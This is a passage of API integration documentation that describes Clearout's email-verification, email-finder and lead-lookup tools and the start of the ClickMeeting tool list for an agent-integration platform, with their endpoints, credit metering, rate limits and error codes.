/v2/email_verify/bulk/progress_status. Report the progress of a bulk verification list by `list_id`: `progress_status` (`running`, `completed`, ...) and the percentage done. Poll this after a list is started until it reports completed, then fetch the results with Get a bulk verify result download link. Clearout answers an unknown or expired `list_id` with HTTP 200 and `status: failed`, code 1029 `List is not available` (measured 2026-09-20), so read `status` in the reply rather than trusting the 200. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. GET /api/v1/clearout/email_verify/bulk/progress_status. Scopes: api. clearout_get_email_verify_getcredits (read) — Get available credits (legacy endpoint) via GET /v2/email_verify/getcredits. Return the account's available credits from the older `/email_verify/getcredits` endpoint: `available_credits`, the daily verify limit and its reset date, and the low-balance threshold. Free, and MEASURED 2026-09-20 to be exempt from the per-plan rate limit that throttles the `/account/*` endpoints (three back-to-back calls all answered 200 with no rate-limit headers), so it is the cheap way to poll a balance. Get remaining credits is the current endpoint and breaks the balance down by plan. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. GET /api/v1/clearout/email_verify/getcredits. Scopes: api. clearout_get_public_companies_autocomplete (read) — Find domains for a company name via GET /public/companies/autocomplete. Suggest the website domains for a company name, domain fragment or URL (`query`), each with a `confidence_score` and a logo URL -- the way to turn 'Marvel' into `marvel.com` before Find a person's email address. FREE and PUBLIC: this is the one Clearout endpoint that needs no credential and costs no credit (it lives on https://api.clearout.io/public, outside the `/v2` API), so it is never the credential check for this connection. The connector sends it WITHOUT the account token on purpose: measured 2026-09-20, the route answers 404 `Endpoint Not found` (code 1138) to any request carrying an Authorization header and 200 to one without. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. GET /api/v1/clearout/public/companies/autocomplete. Scopes: api. clearout_get_reverse_lookup_domain (read) — Look up a company by domain via GET /v2/reverse_lookup/domain. Retrieve a company profile from a domain `name`: company name, LinkedIn page, logo and address in `data.lead`. METERED against credits. HTTP 402 (Clearout codes 1002/1031) means the account is out of credits: the token is fine, the balance is not -- check Get remaining credits. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. GET /api/v1/clearout/reverse_lookup/domain. Scopes: api. clearout_get_reverse_lookup_email (read) — Look up a lead by email address via GET /v2/reverse_lookup/email. Retrieve the lead behind an `email_address`: name, title, LinkedIn URL, company name and domain, and location in `data.lead`. METERED against credits. HTTP 402 (Clearout codes 1002/1031) means the account is out of credits: the token is fine, the balance is not -- check Get remaining credits. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. GET /api/v1/clearout/reverse_lookup/email. Scopes: api. clearout_get_reverse_lookup_linkedin (read) — Look up a lead by LinkedIn URL via GET /v2/reverse_lookup/linkedin. Retrieve a lead's profile from a LinkedIn profile `url`: name, title, company name and domain, location and experience in `data.lead`. METERED against credits. HTTP 402 (Clearout codes 1002/1031) means the account is out of credits: the token is fine, the balance is not -- check Get remaining credits. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. GET /api/v1/clearout/reverse_lookup/linkedin. Scopes: api. clearout_post_domain_resolve_mx (read) — Resolve a domain's MX records via POST /v2/domain/resolve/mx. Resolve a domain's MX records in priority order, so you can see where its mail is hosted before verifying addresses on it. Reply: `mx_records[]` with `exchange` and `priority`. Clearout documents a 402 on this route, so treat it as metered. HTTP 402 (Clearout codes 1002/1031) means the account is out of credits: the token is fine, the balance is not -- check Get remaining credits. `timeout` (milliseconds) is capped at 25000 by this connector and filled in at that value when omitted, because Agentic Fabriq waits at most 30 seconds for a reply; Clearout's own default is longer and a call that honoured it would time out on our side while Clearout kept working. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/domain/resolve/mx. Scopes: api. clearout_post_domain_resolve_whois (read) — Look up a domain's WHOIS record via POST /v2/domain/resolve/whois. Return a domain's WHOIS record as JSON: registrar, registrant, admin and technical contacts, status flags, creation and expiry dates. Clearout documents a 402 on this route, so treat it as metered. HTTP 402 (Clearout codes 1002/1031) means the account is out of credits: the token is fine, the balance is not -- check Get remaining credits. `timeout` (milliseconds) is capped at 25000 by this connector and filled in at that value when omitted, because Agentic Fabriq waits at most 30 seconds for a reply; Clearout's own default is longer and a call that honoured it would time out on our side while Clearout kept working. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/domain/resolve/whois. Scopes: api. clearout_post_download_result (read) — Get a bulk verify result download link via POST /v2/download/result. Get a time-limited download URL for the results CSV of a completed bulk verification list. The reply carries `data.url`, a presigned Amazon S3 link to the results file -- this tool returns the LINK, not the file. THE LINK IS SHORT-LIVED: measured 2026-09-20, `X-Amz-Expires=300`, so fetch it within five minutes and call again for a fresh one; the results themselves stay available until the list's `result_expires_on` (about 30 days), after which this answers the ResultFileExpired shape rather than a URL. Clearout answers an unknown or expired `list_id` with HTTP 200 and `status: failed`, code 1029 `List is not available` (measured 2026-09-20), so read `status` in the reply rather than trusting the 200. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/download/result. Scopes: api. clearout_post_email_finder_download_result (read) — Get a bulk finder result download link via POST /v2/email_finder/download/result. Get a time-limited download URL for the results CSV of a completed bulk email finder list. The reply carries `data.url`, a presigned Amazon S3 link -- this tool returns the LINK, not the file, and the link is short-lived (the verifier's equivalent was measured at `X-Amz-Expires=300`, five minutes), so fetch it promptly; an expired list answers the ResultFileExpired shape rather than a URL. Clearout answers an unknown or expired `list_id` with HTTP 200 and `status: failed`, code 1029 `List is not available` (measured 2026-09-20), so read `status` in the reply rather than trusting the 200. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/email_finder/download/result. Scopes: api. clearout_post_email_finder_instant (read) — Find a person's email address via POST /v2/email_finder/instant. Find a person's business email address from their `name` and their company's `domain` (or company name). The reply carries `emails[]` with a `confidence_score`, the normalised first/last name and the company. Discovery can outlast the `timeout`: with `queue` true (the default) Clearout keeps searching in the background and the reply carries a `qid` -- poll Get a queued email finder result with it; with `queue` false the search stops at the timeout. METERED: a credit is charged when an address is found. HTTP 402 (Clearout codes 1002/1031) means the account is out of credits: the token is fine, the balance is not -- check Get remaining credits. `timeout` (milliseconds) is capped at 25000 by this connector and filled in at that value when omitted, because Agentic Fabriq waits at most 30 seconds for a reply; Clearout's own default is longer and a call that honoured it would time out on our side while Clearout kept working. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/email_finder/instant. Scopes: api. clearout_post_email_finder_list (read) — List bulk finder lists via POST /v2/email_finder/list. List the account's bulk email finder lists with cursor pagination: up to `limit` records (max 100), each with its `list_id`, name, type, in-progress action, processing timestamps and an `email_finder_result` summary (found, billable, business, role, confidence). Pass `page_info.last_cursor` from one reply as `start_after` for the next page while `page_info.has_more` is true; omit it for the first page. `filter` narrows by `date_range` and `processed`. This is where a `list_id` comes from for every other bulk finder tool. Lists are created in the Clearout app or by a customer's own bulk upload; this integration cannot create one because the upload is a file transfer. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/email_finder/list. Scopes: api. clearout_post_email_finder_list_cancel (write) — Cancel a running bulk finder list via POST /v2/email_finder/list/cancel. Cancel a bulk email finder list that is currently running. Contacts already processed keep their result; the rest are not searched. A list that has already finished answers HTTP 200 with `status: failed` (the verifier's equivalent was measured as code 1116 `List is not in the cancellable stage`). The list itself is kept -- Remove a bulk finder list deletes it. Clearout answers an unknown or expired `list_id` with HTTP 200 and `status: failed`, code 1029 `List is not available` (measured 2026-09-20), so read `status` in the reply rather than trusting the 200. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/email_finder/list/cancel. Scopes: api. clearout_post_email_finder_list_remove (write, destructive) — Remove a bulk finder list via POST /v2/email_finder/list/remove. PERMANENTLY REMOVE a bulk email finder list and its results from the account. There is no undo. Removal is refused while a download of that list's results is in progress unless `ignore_result` is true. Use Cancel a running bulk finder list to stop a job you want to keep. Clearout answers an unknown or expired `list_id` with HTTP 200 and `status: failed`, code 1029 `List is not available` (measured 2026-09-20), so read `status` in the reply rather than trusting the 200. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/email_finder/list/remove. Scopes: api. clearout_post_email_verify_business (read) — Check whether an email address is a business account via POST /v2/email/verify/business. Check whether an email address is a business (work) account rather than a personal one. Reply: `business_account` yes/no. METERED against credits. HTTP 402 (Clearout codes 1002/1031) means the account is out of credits: the token is fine, the balance is not -- check Get remaining credits. `timeout` (milliseconds) is capped at 25000 by this connector and filled in at that value when omitted, because Agentic Fabriq waits at most 30 seconds for a reply; Clearout's own default is longer and a call that honoured it would time out on our side while Clearout kept working. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/email/verify/business. Scopes: api. clearout_post_email_verify_catchall (read) — Check whether an email domain is catch-all via POST /v2/email/verify/catchall. Check whether an email address belongs to a catch-all (accept-all) domain -- a mail server that accepts every address and never bounces, so deliverability cannot be confirmed. Reply: `catchall` yes/no. METERED against credits. HTTP 402 (Clearout codes 1002/1031) means the account is out of credits: the token is fine, the balance is not -- check Get remaining credits. `timeout` (milliseconds) is capped at 25000 by this connector and filled in at that value when omitted, because Agentic Fabriq waits at most 30 seconds for a reply; Clearout's own default is longer and a call that honoured it would time out on our side while Clearout kept working. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/email/verify/catchall. Scopes: api. clearout_post_email_verify_disposable (read) — Check whether an email address is disposable via POST /v2/email/verify/disposable. Check whether an email address is on a disposable (temporary) mail service, the kind used for one-off sign-ups. Reply: `disposable` yes/no. METERED against credits. HTTP 402 (Clearout codes 1002/1031) means the account is out of credits: the token is fine, the balance is not -- check Get remaining credits. `timeout` (milliseconds) is capped at 25000 by this connector and filled in at that value when omitted, because Agentic Fabriq waits at most 30 seconds for a reply; Clearout's own default is longer and a call that honoured it would time out on our side while Clearout kept working. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/email/verify/disposable. Scopes: api. clearout_post_email_verify_free (read) — Check whether an email address is on a free provider via POST /v2/email/verify/free. Check whether an email address is on a free mail provider such as Gmail, Yahoo, AOL or Mail.ru. Reply: `free_account` yes/no. METERED against credits. HTTP 402 (Clearout codes 1002/1031) means the account is out of credits: the token is fine, the balance is not -- check Get remaining credits. `timeout` (milliseconds) is capped at 25000 by this connector and filled in at that value when omitted, because Agentic Fabriq waits at most 30 seconds for a reply; Clearout's own default is longer and a call that honoured it would time out on our side while Clearout kept working. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/email/verify/free. Scopes: api. clearout_post_email_verify_gibberish (read) — Check whether an email address is gibberish via POST /v2/email/verify/gibberish. Check whether an email address's local part looks like gibberish (`asdfg@`, keyboard mashing) rather than a name a real person would use. Reply: `gibberish` yes/no. METERED against credits. HTTP 402 (Clearout codes 1002/1031) means the account is out of credits: the token is fine, the balance is not -- check Get remaining credits. `timeout` (milliseconds) is capped at 25000 by this connector and filled in at that value when omitted, because Agentic Fabriq waits at most 30 seconds for a reply; Clearout's own default is longer and a call that honoured it would time out on our side while Clearout kept working. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/email/verify/gibberish. Scopes: api. clearout_post_email_verify_instant (read) — Verify an email address via POST /v2/email_verify/instant. Verify one email address in real time and get its deliverability verdict: `status` (`valid`, `invalid`, `catch_all`, `unknown`), `safe_to_send` (`yes`/`no`/`risky`), a `sub_status` code and reason, and the `disposable`, `free`, `role` and `gibberish` flags, plus the MX host and SMTP provider in `detail_info` and a `suggested_email_address` when a typo was detected. METERED: one credit per address; an `unknown` result is not charged. Clearout reserves test addresses that return a fixed result and cost no credit: `valid@example.com`, `invalid@example.com`, `catch_all@example.com`, `unknown@example.com`, `disposable@example.com`, `role@example.com`, `free@example.com`, `gibberish@example.com`, `safe_to_send_yes@example.com` and the other `@example.com` spellings from the API overview. HTTP 402 (Clearout codes 1002/1031) means the account is out of credits: the token is fine, the balance is not -- check Get remaining credits. `timeout` (milliseconds) is capped at 25000 by this connector and filled in at that value when omitted, because Agentic Fabriq waits at most 30 seconds for a reply; Clearout's own default is longer and a call that honoured it would time out on our side while Clearout kept working. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/email_verify/instant. Scopes: api. clearout_post_email_verify_list (read) — List bulk verify lists via POST /v2/email_verify/list. List the account's bulk verification lists with cursor pagination: up to `limit` records (max 100, default 10), newest first, each with its `list_id`, name, type, in-progress action and the verified/cancelled/exported/expiry timestamps. Pass `page_info.last_cursor` from one reply as `start_after` to fetch the next page while `page_info.has_more` is true; omit it (or send null) for the first page. `filter` narrows by `date_range` (e.g. `ps_this_month`), `verified` and `type` (`upload`, ...). This is where a `list_id` comes from for every other bulk verify tool. Lists are created in the Clearout app or by a customer's own bulk upload; this integration cannot create one because the upload is a file transfer. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/email_verify/list. Scopes: api. clearout_post_email_verify_list_cancel (write) — Cancel a running bulk verify list via POST /v2/email_verify/list/cancel. Cancel a bulk verification list that is currently running. Emails already verified stay verified and charged; the rest are not processed. A list that has already finished answers HTTP 200 with `status: failed`, code 1116 `List is not in the cancellable stage` (measured 2026-09-20 on a completed list). The list itself is kept -- Remove a bulk verify list deletes it. Clearout answers an unknown or expired `list_id` with HTTP 200 and `status: failed`, code 1029 `List is not available` (measured 2026-09-20), so read `status` in the reply rather than trusting the 200. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/email_verify/list/cancel. Scopes: api. clearout_post_email_verify_list_remove (write, destructive) — Remove a bulk verify list via POST /v2/email_verify/list/remove. PERMANENTLY REMOVE a bulk verification list and its results from the account. There is no undo. Removal is refused while a download of that list's results is in progress unless `ignore_result` is true. Use Cancel a running bulk verify list to stop a job you want to keep. Clearout answers an unknown or expired `list_id` with HTTP 200 and `status: failed`, code 1029 `List is not available` (measured 2026-09-20), so read `status` in the reply rather than trusting the 200. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/email_verify/list/remove. Scopes: api. clearout_post_email_verify_role (read) — Check whether an email address is a role account via POST /v2/email/verify/role. Check whether an email address is a role or group account (`postmaster@`, `support@`, `sales@`, `hr@`) rather than a person's. Reply: `role_account` yes/no. METERED against credits. HTTP 402 (Clearout codes 1002/1031) means the account is out of credits: the token is fine, the balance is not -- check Get remaining credits. `timeout` (milliseconds) is capped at 25000 by this connector and filled in at that value when omitted, because Agentic Fabriq waits at most 30 seconds for a reply; Clearout's own default is longer and a call that honoured it would time out on our side while Clearout kept working. Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/email/verify/role. Scopes: api. clearout_post_name_validate (read) — Validate a person's name via POST /v2/name/validate. Judge whether a string is a legitimate person's name using Clearout's trained model: the reply says `status` (`valid`/`invalid`) and flags `profanity` and `gibberish`. `settings.gibberish_threshold` (`high`, ...) tunes the strictness. `timeout` is capped by Clearout itself at 10000 ms (default 8000). Clearout rate-limits per plan and per service: every authenticated reply carries `x-ratelimit-limit`, `x-ratelimit-remaining` and `x-ratelimit-reset`, and an exhausted budget answers HTTP 429 with Clearout error code 1030 and a `Retry-After` -- a THROTTLE, never a bad token; wait and retry. Measured on the free plan 2026-09-20: the `/account/*` endpoints allow one request per ten seconds, instant verification and the email finder 3 per minute each, name validation 5, reverse lookup 200. POST /api/v1/clearout/name/validate. Scopes: api. ================================================================================ ## ClickMeeting URL: https://www.agenticfabriq.com/integrations/clickmeeting Section: Integrated Tools ClickMeeting — 34 MCP tools Provider key: clickmeeting. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. clickmeeting_delete_conferences_by_conference_id_tokens (write, destructive) — Delete tokens via DELETE /conferences/{conference_id}/tokens. If the attribute access_type is set to 3 for the specific room, you can delete (deactivate) access tokens. deactivates access tokens of an access_type 3 room DELETE /api/v1/clickmeeting/conferences/{conference_id}/tokens. Scopes: api. clickmeeting_delete_conferences_by_room_id (write, destructive) — Deleting room via DELETE /conferences/{room_id}. Method deletes a particular room. rooms are deleted permanently, through the API and from the account panel DELETE /api/v1/clickmeeting/conferences/{room_id}. Scopes: api. clickmeeting_delete_conferences_by_room_id_recordings (write, destructive) — Delete all recordings via DELETE /conferences/{room_id}/recordings. Method allows to delete all recordings of a particular room DELETE /api/v1/clickmeeting/conferences/{room_id}/recordings. Scopes: api. clickmeeting_delete_conferences_by_room_id_recordings_by_recording_id (write, destructive) — Delete recording via DELETE /conferences/{room_id}/recordings/{recording_id}. Method deletes a particular recording DELETE /api/v1/clickmeeting/conferences/{room_id}/recordings/{recording_id}. Scopes: api. clickmeeting_delete_file_library_by_file_id (write, destructive) — Deleting of file via DELETE /file-library/{file_id}. Methods allows to delete file from file library DELETE /api/v1/clickmeeting/file-library/{file_id}. Scopes: api. clickmeeting_get_chats (read) — Get list of chats via GET /chats. Method returns list of chats. each entry's download_link is a chat archive (a binary download this integration does not proxy) GET /api/v1/clickmeeting/chats. Scopes: api. clickmeeting_get_conferences_by_room_id (read) — Get data of a particular room via GET /conferences/{room_id}. Method returns details of a particular room. room_id is the numeric room id (a non-numeric segment is read as a status filter) GET /api/v1/clickmeeting/conferences/{room_id}. Scopes: api. clickmeeting_get_conferences_by_room_id_recordings (read) — Get recordings list via GET /conferences/{room_id}/recordings. Method returns list of recordings of a particular room GET /api/v1/clickmeeting/conferences/{room_id}/recordings. Scopes: api. clickmeeting_get_conferences_by_room_id_registrations_by_status (read) — Get all registered participants via GET /conferences/{room_id}/registrations/{status}. Method returns registered participants of a particular room by registration status. status is all or active GET /api/v1/clickmeeting/conferences/{room_id}/registrations/{status}. Scopes: api. clickmeeting_get_conferences_by_room_id_sessions (read) — Generating a list of room sessions via GET /conferences/{room_id}/sessions. Method returns list of all sessions of a particular room GET /api/v1/clickmeeting/conferences/{room_id}/sessions. Scopes: api. clickmeeting_get_conferences_by_room_id_sessions_by_session_id (read) — Getting data of a particular room and breakout room sessions via GET /conferences/{room_id}/sessions/{session_id}. Method returns data of a particular room session, including breakout rooms GET /api/v1/clickmeeting/conferences/{room_id}/sessions/{session_id}. Scopes: api. clickmeeting_get_conferences_by_room_id_sessions_by_session_id_attendees (read) — Getting data of all session attendees via GET /conferences/{room_id}/sessions/{session_id}/attendees. Method returns data of all attendees in particular room session GET /api/v1/clickmeeting/conferences/{room_id}/sessions/{session_id}/attendees. Scopes: api. clickmeeting_get_conferences_by_room_id_sessions_by_session_id_generate_pdf_by_lang (read) — PDF report generating via GET /conferences/{room_id}/sessions/{session_id}/generate-pdf/{lang}. Method generates PDF report of a particular room session. asynchronous: status is NEW, IN_PROGRESS, FINISHED (url set) or FAILED -- call again until FINISHED GET /api/v1/clickmeeting/conferences/{room_id}/sessions/{session_id}/generate-pdf/{lang}. Scopes: api. clickmeeting_get_conferences_by_room_id_sessions_by_session_id_registrations (read) — Get all registered participants in a particular session via GET /conferences/{room_id}/sessions/{session_id}/registrations. Method returns all registered participants of a particular session GET /api/v1/clickmeeting/conferences/{room_id}/sessions/{session_id}/registrations. Scopes: api. clickmeeting_get_conferences_by_room_id_tokens (read) — Get generated access tokens via GET /conferences/{room_id}/tokens. If attribute access_type was set to value 3 (token protected) we can download the list of generated tokens for the particular event room GET /api/v1/clickmeeting/conferences/{room_id}/tokens. Scopes: api. clickmeeting_get_conferences_by_status (read) — Generating a list of meeting rooms (meetings and webinars) via GET /conferences/{status}. Method returns list of conferences. status is active or inactive. rooms inactive for more than 6 months are removed from the list automatically GET /api/v1/clickmeeting/conferences/{status}. Scopes: api. clickmeeting_get_conferences_recordings (read) — Get list of all recordings via GET /conferences/recordings. Method returns list of all recordings of a particular account GET /api/v1/clickmeeting/conferences/recordings. Scopes: api. clickmeeting_get_file_library (read) — Get list of files via GET /file-library. Methods allows to get list of files GET /api/v1/clickmeeting/file-library. Scopes: api. clickmeeting_get_file_library_by_file_id (read) — Get file details via GET /file-library/{file_id}. Method allows to get file details. the url field is the raw download address (a binary download this integration does not proxy) GET /api/v1/clickmeeting/file-library/{file_id}. Scopes: api. clickmeeting_get_file_library_conferences_by_room_id (read) — Get file list of a particular room via GET /file-library/conferences/{room_id}. Method returns list of files of a particular room GET /api/v1/clickmeeting/file-library/conferences/{room_id}. Scopes: api. clickmeeting_get_phone_gateways (read) — Get list of all available phone numbers via GET /phone_gateways. Method returns list of available phone numbers GET /api/v1/clickmeeting/phone_gateways. Scopes: api. clickmeeting_get_ping (read) — Api status via GET /ping. Method allows to send PING request. answers {"ping": "pong"}; requires the key (401 without one, measured 2026-09-11) GET /api/v1/clickmeeting/ping. Scopes: api. clickmeeting_get_time_zone_list (read) — Get time zone list via GET /time_zone_list. Method returns list of time zones GET /api/v1/clickmeeting/time_zone_list. Scopes: api. clickmeeting_get_time_zone_list_by_country (read) — Get time zone list by country via GET /time_zone_list/{country}. Method returns list of time zones of a particular country GET /api/v1/clickmeeting/time_zone_list/{country}. Scopes: api. clickmeeting_post_conferences (write) — Adding new conference room via POST /conferences. Method adds new conference room. room_type is meeting or webinar; access_type 1 open, 2 password (send password), 3 token. starts_at is 'YYYY-mm-dd H:i:s' or ISO 8601; duration is hours as H:MM POST /api/v1/clickmeeting/conferences. Scopes: api. clickmeeting_post_conferences_by_conference_id_recordings_by_recording_id_publish (write) — Publish recording via POST /conferences/{conference_id}/recordings/{recording_id}/publish. Method publishes a particular recording POST /api/v1/clickmeeting/conferences/{conference_id}/recordings/{recording_id}/publish. Scopes: api. 